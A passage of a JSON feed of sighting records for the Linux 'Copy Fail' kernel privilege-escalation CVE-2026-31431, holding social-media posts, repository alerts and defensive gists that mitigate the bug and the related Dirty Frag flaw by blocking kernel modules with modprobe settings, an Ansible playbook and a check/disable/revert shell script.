"9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "Telegram/TOBO1j4X53-mWPhUjqfqsPILi5P8C_iHzeNGcih4hj7jhkY", "content": "", "creation_timestamp": "2026-05-05T15:00:07.000000Z"}, {"uuid": "f09a1afd-18c5-4a80-9926-bfe7ee56c105", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "Telegram/dsiEA15uidVU6KDez4EkzkpuPE2tuEKKJLQ-eeC4Q0mRqFk", "content": "", "creation_timestamp": "2026-05-07T09:00:04.000000Z"}, {"uuid": "ef29a5ce-a251-4d46-ab2c-1e3b31c7fd13", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "Telegram/N1Jo8qZWaWReiL_t-N5l6uzcgIVKcO6O8PdoiYgN9aP0HPY", "content": "", "creation_timestamp": "2026-05-07T03:00:06.000000Z"}, {"uuid": "b415af03-95af-4c32-bf0b-0bf2d2d7b8bb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "Telegram/YNBAQ7wY3nDaf6oW9SS_pET1W5P-GdTLvm9dgaO_EDkfw4Y", "content": "", "creation_timestamp": "2026-05-05T09:00:04.000000Z"}, {"uuid": "5915cb4c-3259-42b0-87b4-a4866c7bd606", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "Telegram/qLnk1n5B0PR5yjep7bbwsMJyTwvCWVIASLg9mGkcsDxA1Jk", "content": "", "creation_timestamp": "2026-05-06T21:00:04.000000Z"}, {"uuid": "cf5f50c3-015f-40f9-924d-dec09da0ff8a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "Telegram/ZNI-uYyJrm1t-Pzb3CHRhrHrIF7V6AFj0czDxk1WB0iTdAU", "content": "", "creation_timestamp": "2026-05-06T15:00:06.000000Z"}, {"uuid": "1ed30ab1-3d59-42fc-b85b-c4019f9a4183", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "Telegram/nRCd-6n0pDvmfvM7KgbobBK2YcSbDsH8Dcp0n-zDwiT4HOU", "content": "", "creation_timestamp": "2026-05-06T09:00:04.000000Z"}, {"uuid": "5571b4bd-cecd-4183-833c-b59a7ebb8658", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/sergioiker.bsky.social/post/3mldw6s3wu22t", "content": "6/ \ud83d\udd25 Patch now: Palo Alto PAN-OS CVE-2026-0300 (CVSS 9.3) under active exploitation since April 9. Unauthenticated RCE as root. CISA-listed Linux \"Copy Fail\" CVE-2026-31431 due May 15.", "creation_timestamp": "2026-05-08T14:16:05.441154Z"}, {"uuid": "57227c9f-ecd1-4046-b85d-586f0135ef97", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/sergioiker.bsky.social/post/3mldw6s46o22t", "content": "6/ \ud83d\udd25 Patch now: Palo Alto PAN-OS CVE-2026-0300 (CVSS 9.3) under active exploitation since April 9. Unauthenticated RCE as root. CISA-listed Linux \"Copy Fail\" CVE-2026-31431 due May 15.", "creation_timestamp": "2026-05-08T14:16:06.165171Z"}, {"uuid": "de7122a5-4b38-4192-9ec7-d59bbc299cb4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/sergioiker.bsky.social/post/3mldw6s47nc2t", "content": "6/ \ud83d\udd25 Patch now: Palo Alto PAN-OS CVE-2026-0300 (CVSS 9.3) under active exploitation since April 9. Unauthenticated RCE as root. CISA-listed Linux \"Copy Fail\" CVE-2026-31431 due May 15.", "creation_timestamp": "2026-05-08T14:16:06.878951Z"}, {"uuid": "398b3342-74f3-446e-ad6a-4e4c118ac68a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/sergioiker.bsky.social/post/3mldw6s4amk2t", "content": "6/ \ud83d\udd25 Patch now: Palo Alto PAN-OS CVE-2026-0300 (CVSS 9.3) under active exploitation since April 9. Unauthenticated RCE as root. CISA-listed Linux \"Copy Fail\" CVE-2026-31431 due May 15.", "creation_timestamp": "2026-05-08T14:16:07.754050Z"}, {"uuid": "2c2e2071-1da5-4762-864b-c641704770f7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/sergioiker.bsky.social/post/3mldw6s4aml2t", "content": "6/ \ud83d\udd25 Patch now: Palo Alto PAN-OS CVE-2026-0300 (CVSS 9.3) under active exploitation since April 9. Unauthenticated RCE as root. CISA-listed Linux \"Copy Fail\" CVE-2026-31431 due May 15.", "creation_timestamp": "2026-05-08T14:16:08.632422Z"}, {"uuid": "eab85636-b155-496d-9852-5a30b78e5762", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/sergioiker.bsky.social/post/3mldw6s4blt2t", "content": "6/ \ud83d\udd25 Patch now: Palo Alto PAN-OS CVE-2026-0300 (CVSS 9.3) under active exploitation since April 9. Unauthenticated RCE as root. CISA-listed Linux \"Copy Fail\" CVE-2026-31431 due May 15.", "creation_timestamp": "2026-05-08T14:16:09.364994Z"}, {"uuid": "fe9b3854-4e49-47a8-8748-ab2c5b8db96a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/sergioiker.bsky.social/post/3mldw6s4cl32t", "content": "6/ \ud83d\udd25 Patch now: Palo Alto PAN-OS CVE-2026-0300 (CVSS 9.3) under active exploitation since April 9. Unauthenticated RCE as root. CISA-listed Linux \"Copy Fail\" CVE-2026-31431 due May 15.", "creation_timestamp": "2026-05-08T14:16:10.157693Z"}, {"uuid": "22af4469-03e4-43d3-a7f3-8d14d15e9580", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/sergioiker.bsky.social/post/3mldw6s4cl42t", "content": "6/ \ud83d\udd25 Patch now: Palo Alto PAN-OS CVE-2026-0300 (CVSS 9.3) under active exploitation since April 9. Unauthenticated RCE as root. CISA-listed Linux \"Copy Fail\" CVE-2026-31431 due May 15.", "creation_timestamp": "2026-05-08T14:16:10.892616Z"}, {"uuid": "6452fd6f-1b17-4849-940b-603f315e83b7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/GithubRedTeam/83368", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a MitigationToolkit-ROSN-LR5-Full\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a ROSNLR5\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-05-08 14:58:29\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nKernel LPE PoC & Mitigation Toolkit - ROSN-LR5-Full (CVE-2026-31431)\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-05-08T15:00:04.000000Z"}, {"uuid": "c87bbfcb-0d83-4cd2-94ce-797e7a0bf94a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://gist.github.com/sayem314/6a33676059e6539501c55a978410795d", "content": "Copy Fail is a Linux kernel local privilege escalation in `algif_aead`, part of the AF_ALG userspace crypto API. If a vulnerable host runs untrusted local code, containers, CI jobs, app sandboxes, or shared shell users, treat it as urgent.\n\nThe real fix is a patched kernel from your distribution. The mitigation below blocks the affected module until you can patch and reboot.\n\nSources:\n\n- https://copy.fail/\n- https://ubuntu.com/blog/copy-fail-vulnerability-fixes-available\n- https://security-tracker.debian.org/tracker/CVE-2026-31431\n\n## Quick check\n\n```bash\nuname -r\ndpkg -l 'linux-image*' | grep '^ii'\ndpkg -l kmod | grep '^ii'\ngrep -qE '^algif_aead ' /proc/modules && echo \"algif_aead is loaded\" || echo \"algif_aead is not loaded\"\n```\n\nOn Ubuntu, Canonical also shipped a `kmod` mitigation for affected releases. Still update the kernel when your release has a fixed kernel package.\n\n```bash\nsudo apt update\nsudo apt install --only-upgrade kmod\nsudo apt full-upgrade\nsudo reboot\n```\n\n## Manual mitigation\n\nUse this when you cannot patch immediately, or when you want a fleet-wide safety block while waiting for kernel updates.\n\n```bash\nsudo tee /etc/modprobe.d/disable-algif_aead.conf >/dev/null <<'EOF'\ninstall algif_aead /bin/false\nEOF\n\nsudo modprobe -r algif_aead 2>/dev/null || true\n\ngrep -qE '^algif_aead ' /proc/modules && echo \"algif_aead is still loaded, reboot required\" || echo \"algif_aead is not loaded\"\nmodprobe -n -v algif_aead\n```\n\nExpected `modprobe -n -v algif_aead` output should include:\n\n```text\ninstall /bin/false\n```\n\nIf `algif_aead` is still loaded after `modprobe -r`, reboot the host. If you suspect the host was already exposed to untrusted local code, prefer a reboot after applying the mitigation or kernel update.\n\n## Ansible playbook\n\nSave as `copyfail-mitigate.yml`:\n\n```yaml\n---\n- name: Mitigate Copy Fail CVE-2026-31431\n  hosts: all\n  become: true\n  gather_facts: false\n\n  vars:\n    copyfail_module: algif_aead\n\n  tasks:\n    - name: Block algif_aead from loading\n      ansible.builtin.copy:\n        dest: \"/etc/modprobe.d/disable-{{ copyfail_module }}.conf\"\n        owner: root\n        group: root\n        mode: \"0644\"\n        content: |\n          install {{ copyfail_module }} /bin/false\n      register: copyfail_blacklist\n\n    - name: Unload algif_aead if currently loaded\n      community.general.modprobe:\n        name: \"{{ copyfail_module }}\"\n        state: absent\n      register: copyfail_unload\n      failed_when: false\n\n    - name: Check whether algif_aead is still loaded\n      ansible.builtin.shell: \"grep -qE '^{{ copyfail_module }} ' /proc/modules\"\n      register: copyfail_loaded\n      changed_when: false\n      failed_when: false\n\n    - name: Verify modprobe resolves algif_aead to /bin/false\n      ansible.builtin.command: \"modprobe -n -v {{ copyfail_module }}\"\n      register: copyfail_modprobe_check\n      changed_when: false\n\n    - name: Show mitigation status\n      ansible.builtin.debug:\n        msg:\n          - \"config_changed={{ copyfail_blacklist.changed }}\"\n          - \"module_unload_rc={{ copyfail_unload.rc | default('n/a') }}\"\n          - \"module_loaded={{ copyfail_loaded.rc == 0 }}\"\n          - \"modprobe_check={{ copyfail_modprobe_check.stdout }}\"\n\n    - name: Fail if algif_aead is still loaded\n      ansible.builtin.fail:\n        msg: \"algif_aead is still loaded. Reboot this host to complete mitigation.\"\n      when: copyfail_loaded.rc == 0\n```\n\nExample `inventory.yml`:\n\n```yaml\n---\nall:\n  children:\n    webservers:\n      hosts:\n        web-1:\n          ansible_host: 203.0.113.10\n          ansible_user: ubuntu\n        web-2:\n          ansible_host: 203.0.113.11\n          ansible_user: ubuntu\n    workers:\n      hosts:\n        worker-1:\n          ansible_host: 203.0.113.20\n          ansible_user: debian\n  vars:\n    ansible_become: true\n    ansible_python_interpreter: /usr/bin/python3\n```\n\nRun it:\n\n```bash\nansible-playbook -i inventory.yml copyfail-mitigate.yml\n```\n\nRun only a selected group:\n\n```bash\nansible-playbook -i inventory.yml copyfail-mitigate.yml --limit webservers\n```\n\n## Ansible role-style task\n\nIf you already have a common hardening role, put the module name in group vars:\n\n```yaml\ndisabled_kernel_modules:\n  - algif_aead\n```\n\nThen use this task block:\n\n```yaml\n- name: Block disabled kernel modules from loading\n  ansible.builtin.copy:\n    dest: \"/etc/modprobe.d/disable-{{ item }}.conf\"\n    owner: root\n    group: root\n    mode: \"0644\"\n    content: |\n      install {{ item }} /bin/false\n  loop: \"{{ disabled_kernel_modules | default([]) }}\"\n\n- name: Unload disabled kernel modules if currently loaded\n  community.general.modprobe:\n    name: \"{{ item }}\"\n    state: absent\n  loop: \"{{ disabled_kernel_modules | default([]) }}\"\n  failed_when: false\n```\n\n## What may break\n\nFor most Debian and Ubuntu servers, nothing noticeable. Normal TLS, SSH, LUKS, WireGuard, IPsec, OpenSSL, Docker networking, and web apps do not depend on `algif_aead`.\n\nPossible impact: software explicitly configured to use AF_ALG from userspace, such as OpenSSL with the `afalg` engine enabled or custom apps that open AF_ALG sockets directly. If unsure, check:\n\n```bash\nss -xa | grep -i alg || true\nlsof 2>/dev/null | grep AF_ALG || true\n```\n\n## Remove the manual mitigation later\n\nOnly do this after your running kernel is fixed and you have rebooted into it.\n\n```bash\nsudo rm /etc/modprobe.d/disable-algif_aead.conf\nsudo reboot\n```\n", "creation_timestamp": "2026-05-08T16:18:22.000000Z"}, {"uuid": "3d9ac7c1-e972-4c95-b3a8-8df9f762a6b2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://www.cert.se/2026/05/cert-se-veckobrev-v19.html", "content": "", "creation_timestamp": "2026-05-08T06:10:00.000000Z"}, {"uuid": "6699f4fd-6155-4d2d-b1ea-9371da8c09b3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/threatintel.microsoft.com/post/3mlebbbfqqs2p", "content": "Similar to the previously disclosed Copy Fail vulnerability (CVE-2026-31431), the exploit attempts to manipulate Linux page cache behavior to achieve privilege escalation. However, Dirty Frag introduces additional attack paths that expand exploitation opportunities and improve reliability.", "creation_timestamp": "2026-05-08T17:34:25.056560Z"}, {"uuid": "e7502325-77eb-4e41-863c-a5ad40f98e8c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/threatintel.microsoft.com/post/3mlebbdebq22p", "content": "Similar to the previously disclosed Copy Fail vulnerability (CVE-2026-31431), the exploit attempts to manipulate Linux page cache behavior to achieve privilege escalation. However, Dirty Frag introduces additional attack paths that expand exploitation opportunities and improve reliability.", "creation_timestamp": "2026-05-08T17:34:25.662935Z"}, {"uuid": "fc060951-4939-4911-8338-296cf6ec14d9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-31431", "type": "seen", "source": "https://gist.github.com/martijnengler/af7e9116199ba7e8e6e1df7d4ca2ebbc", "content": "#!/bin/sh\n\n# https://www.transip.nl/knowledgebase/controleren-of-je-vps-ipsecesp-xfrm-of-rxrpcafs-gebruikt\n# https://www.transip.nl/knowledgebase/copy-fail-cve-2026-31431-je-linux-vps-controleren-en-patchen/#Controleer-en-update-je-Linux-VPS\n\nset -eu\n\nCONF=/etc/modprobe.d/dirtyfrag.conf\n\nusage() {\n  echo \"Usage: $0 [--check|--disable|--revert]\"\n  exit 1\n}\n\nrun() {\n  echo \"+ $*\"\n  \"$@\"\n}\n\ncheck_ipsec() {\n  echo \"== IPsec / XFRM ==\"\n  echo \"-- xfrm state --\"\n  ip xfrm state || true\n  echo \"-- xfrm policy --\"\n  ip xfrm policy || true\n\n  echo \"-- loaded IPsec-related modules --\"\n  lsmod | egrep '^(esp4|esp6|xfrm_user|xfrm_algo|af_key)' || true\n\n  echo \"-- known IPsec services --\"\n  systemctl --type=service | egrep 'strongswan|libreswan|ipsec|racoon' || true\n\n  echo \"-- IKE / NAT-T ports --\"\n  ss -lunp | egrep ':(500|4500)\\b' || true\n}\n\ncheck_rxrpc_afs() {\n  echo\n  echo \"== RxRPC / AFS ==\"\n  echo \"-- loaded RxRPC/AFS modules --\"\n  lsmod | egrep '^(rxrpc|kafs|openafs)' || true\n\n  echo \"-- AFS processes --\"\n  ps aux | egrep 'afs|openafs|kafs' | grep -v grep || true\n\n  echo \"-- AFS services --\"\n  systemctl --type=service | egrep 'afs|openafs' || true\n}\n\ndisable_dirtyfrag() {\n  if [ \"$(id -u)\" -ne 0 ]; then\n    echo \"Run with sudo for --disable\"\n    exit 1\n  fi\n\n  echo \"Writing $CONF\"\n  cat > \"$CONF\" <<'EOF'\ninstall esp4 /bin/false\ninstall esp6 /bin/false\ninstall rxrpc /bin/false\nEOF\n\n  echo \"Unloading modules if currently loaded\"\n  rmmod esp4 esp6 rxrpc 2>/dev/null || true\n\n  echo \"Dropping page cache\"\n  sh -c 'echo 3 > /proc/sys/vm/drop_caches'\n\n  echo \"Done. Current relevant module status:\"\n  lsmod | egrep '^(esp4|esp6|rxrpc)' || echo \"OK: esp4/esp6/rxrpc not loaded\"\n}\n\nrevert_dirtyfrag() {\n  if [ \"$(id -u)\" -ne 0 ]; then\n    echo \"Run with sudo for --revert\"\n    exit 1\n  fi\n\n  rm -f \"$CONF\"\n  echo \"Removed $CONF\"\n  echo \"Reboot, or manually modprobe modules again if needed.\"\n}\n\nMODE=\"${1:---check}\"\n\ncase \"$MODE\" in\n  --check)\n    check_ipsec\n    check_rxrpc_afs\n    ;;\n  --disable)\n    check_ipsec\n    check_rxrpc_afs\n    echo\n    echo \"About to disable esp4, esp6, and rxrpc.\"\n    echo \"This can break IPsec VPNs and AFS/RxRPC.\"\n    printf \"Continue? [y/N] \"\n    read ans\n    case \"$ans\" in\n      y|Y|yes|YES) disable_dirtyfrag ;;\n      *) echo \"Aborted.\" ;;\n    esac\n    ;;\n  --revert)\n    revert_dirtyfrag\n    ;;\n  *)\n    usage\n    ;;\nesac", "creation_timestamp": "2026-05-08T17:50:09.000000Z"}, {"uuid": "8d3a4523-f9ad-42ad-b830-c11796a30a23", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/nicolas17.xyz/post/3mleijak4qk24", "content": "Did you update your Linux kernel *again* to protect against the last privilege escalation bug?\n\nNo, not CopyFail (CVE-2026-31431), the new DirtyFrag (CVE-2026-43284, CVE-2026-43500).", "creation_timestamp": "2026-05-08T19:44:03.563348Z"}, {"uuid": "9ee48f1c-8826-4d3e-8277-331e38694d35", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/GithubRedTeam/83400", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-43284\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a attaattaatta\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Go\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-05-08 18:44:58\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCVE-2026-31431 + CVE-2026-43284 golang hotfix\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-05-08T19:00:04.000000Z"}, {"uuid": "6c32b47a-f672-42a6-868f-fa588b9a10d5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-31431", "type": "seen", "source": "https://bsky.app/profile/kubonai.bsky.social/post/3mlelwpbn7e24", "content": "\ud83d\udcf0 CVE-2026-31431: \"Copy Fail\" Linux Kernel Privilege Escalation\n\nComplete breakdown of CVE-2026-31431 \n\n\ud83d\udd17 https://ipsec.live/blog/cve-2026-31431-copy-fail\n\n#infosec #cybersecurity #networking", "creation_timestamp": "2026-05-08T20:45:15.596106Z"}, {"uuid": "89f98550-8e4c-40a4-99c9-e3c255d433c9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-31431", "type": "seen", "source": "https://bsky.app/profile/almalinux.org/post/3mlelul4a7v2h", "content": "\u26a0\ufe0f PSA: patch your AlmaLinux systems. \n\nCopy Fail lets any local user escalate to root. We shipped fixes for AL 8, 9 & 10 ahead of upstream\u2014they're in production now. https://almalinux.org/blog/2026-05-01-cve-2026-31431-copy-fail/?utm_medium=social&utm_source=bluesky", "creation_timestamp": "2026-05-08T20:44:06.550945Z"}, {"uuid": "71968499-d7fe-48e6-82d7-3f9fc1596a0e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-31431", "type": "seen", "source": "https://bsky.app/profile/kubonai.bsky.social/post/3mlelxqnws42c", "content": "CVE-2026-31431: \"Copy Fail\" Linux Kernel Privilege Escalation\n\nComplete breakdown of CVE-2026-31431 \n\n\ud83d\udd17 https://ipsec.live/blog/cve-2026-31431-copy-fail\n\n#infosec #cybersecurity", "creation_timestamp": "2026-05-08T20:45:50.462298Z"}, {"uuid": "5266b4f2-487a-4a53-90b4-1a0962bcd8fe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-31431", "type": "seen", "source": "https://bsky.app/profile/kubonai.bsky.social/post/3mlem2334ku2q", "content": "CVE-2026-31431: \"Copy Fail\" Linux Kernel Privilege Escalation\n\nComplete breakdown of CVE-2026-31431 \n\n\ud83d\udd17 https://ipsec.live/blog/cve-2026-31431-copy-fail\n\n#infosec #cybersecurity", "creation_timestamp": "2026-05-08T20:47:08.467704Z"}, {"uuid": "006334e2-0a8a-47db-b368-a09ad0769c96", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "published-proof-of-concept", "source": "Telegram/bpwD1lFGrjpZJE8nZPfkQ7he0n0Dc1Zua8DNoZEQncgtG5Y", "content": "", "creation_timestamp": "2026-05-08T15:00:06.000000Z"}, {"uuid": "60d93355-c4f2-4d76-956c-b118e2ae6fab", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/hn-frontpage-bot.bsky.social/post/3mlen7cuskf22", "content": "A recent vulnerability, Copy Fail (CVE-2026-31431), allows local unprivileged users to gain root shells in Linux containers. While rootless Podman containers are susceptible, features like user namespaces, dropping capabilities, and disabling new privileges can significantly limit the exploit's i...", "creation_timestamp": "2026-05-08T21:07:58.159601Z"}, {"uuid": "b1d48be3-eaff-4579-9874-26f8d700d887", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/news.karthihegde.dev/post/3mleo6qhizm2r", "content": "CVE-2026-31431: Copy Fail\nDiscussion | lobsters | Author: fro", "creation_timestamp": "2026-05-08T21:25:32.880953Z"}, {"uuid": "b4053a83-932c-47a9-92db-5431588c4d98", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/lobsters-feed.bsky.social/post/3mleoyobtbn27", "content": "CVE-2026-31431: Copy Fail https://lobste.rs/s/ksg1es #security #linux ", "creation_timestamp": "2026-05-08T21:40:04.683915Z"}, {"uuid": "13722a82-d794-4e75-a140-6ee2e35b56d0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/83407", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a DIRTYFAIL\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a KaraZajac\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a C\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-05-08 19:58:21\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nDetector + PoC for Linux page-cache write vulnerabilities: Copy Fail (CVE-2026-31431) and Dirty Frag (CVE-2026-43284/43500). Authorized security research only.\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-05-08T20:00:04.000000Z"}, {"uuid": "5672dcc4-d632-498a-8b51-b4585684f93c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "Telegram/L06xv0vm_v9B-lUjnDANUtY1-6vQFMFDzrcYuiA5m0MAZkY", "content": "", "creation_timestamp": "2026-05-08T21:00:04.000000Z"}, {"uuid": "4f5da61c-ee48-4fe3-b543-43f46b6c1cbd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3mlf77ax52d2i", "content": "Top 3 CVE for last 7 days:\nCVE-2026-31431: 202 interactions\nCVE-2026-0073: 79 interactions\nCVE-2026-41940: 66 interactions\n\n\nTop 3 CVE for yesterday:\nCVE-2026-0073: 66 interactions\nCVE-2026-43284: 61 interactions\nCVE-2026-7270: 32 interactions\n", "creation_timestamp": "2026-05-09T02:30:08.369234Z"}, {"uuid": "5f74684c-d7d8-49be-9376-1fdc5b34380b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "Telegram/4NJNTXQkcEn5li8gJwvGdzAksckTW0TBP2bovQOhIHsVRA", "content": "", "creation_timestamp": "2026-05-08T08:06:31.000000Z"}, {"uuid": "14a0d784-06d0-4e26-a09a-414b4fbecb2c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/hacker.at.thenote.app/post/3mlfrjgkgbk2g", "content": "Another Universal Linux Local Privilege Escalation (LPE) Vulnerability: Dirty Frag, (Fri, May 8th)\n\nLess than two weeks after the public disclosure of the Copy Fail vulnerability (CVE-2026-31431), another local privilege escalation (LPE) vulnerability in the Linux kernel has been \u2026\n#hackernews #news", "creation_timestamp": "2026-05-09T07:57:52.699522Z"}, {"uuid": 